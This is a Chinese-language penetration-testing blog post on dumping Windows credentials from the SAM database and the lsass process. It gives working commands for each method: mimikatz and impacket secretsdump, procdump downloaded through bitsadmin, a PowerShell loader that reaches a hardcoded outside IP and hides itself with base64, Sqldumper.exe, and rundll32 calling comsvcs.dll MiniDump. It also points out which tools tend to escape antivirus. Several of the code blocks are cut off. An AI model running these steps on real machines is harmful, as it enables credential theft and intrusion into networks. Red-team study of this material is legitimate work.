【域渗透】Credential Access Dumping
凭据的获取,主要是说明了几种在主机中获取凭据 HASH 的方式,介绍了 SAM 和 LSA 凭据获取方式。
SAM(Security Accounts Manager)
windows下的密码(HASH值)由SAM数据库储存,位置在C:\windows\system32\config\sam
0x01 注册表
1 | Reg从注册表提取SAM: |
接着拉回本地机器 (很多环境下,不允许上传或者使用mimikatz。而针对非域控的单机离线提取hash显得尤为重要。) 接着用 mimikatz 加载这两个文件正常读取即可。
1 | # mimikatz.exe "lsadump::sam /system:sys.hiv /sam:sam.hiv" exit |
同时也可以使用impacket套件中的secretsdump.py脚本进行解密。
仓库地址:https://github.com/SecureAuthCorp/impacket
Exe单文件版:https://github.com/maaaaz/impacket-examples-windows (32位)
Local Security Authority (LSA)
本地安全机构(LSA)是受 Microsoft Windows 保护的子系统,它是 Windows 客户端身份验证体系结构的一部分,该体系结构对本地计算机进行身份验证并创建登录会话。
LSA 是一个认证机制
0x02 prodump.exe
利用微软提供的prodump.exe 工具指定 lsass.exe 进程名进行抓取,
bitsadmin /rawreturn /transfer getfile https://raw.githubusercontent.com/klionsec/CommonTools/master/procdump.exe c:\windows\temp\dump.exe
接着,拖回本地用mimikatz.exe加载读取。
1 | # mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit |
0x03 Powershell
同时也可以使用powershell 进行远程加载提取进程文件,这里利用base64进行简单的混淆加密
如下:
1 | $address = "119.29.205.214" |
0x04 Sqldumper.exe
除此之外,还可以使用mssql安装目录下自带的Sqldumper.exe,他要比prodump.exe 小很多很多,如果目标机器上直接就有 mssql ,直接使用即可,没有则直接上传上去就好了。
(一般不会存在被AV杀掉的可能,除非安装的杀毒软件有dump内存文件保护。
1 | # tasklist | findstr "lsass.exe" 先找到 lsass.exe 进程 id |
使用用法:
1 | SqlDumper <process id (PID)> <thread id (TID)> <Flags:Minidump Flags> <SQLInfoPtr> <Dump Directory> |
1 | # mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" "exit" |
如下:
comsvcs.dll
以上三种方法在原理上都是使用API MiniDumpWriteDump,参考资料:
由于comsvcs.dll导出函数中包含MiniDumpW,故使用该系统dll实现dump指定进程文件
1 | powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 984 C:\lsass.dmp full" |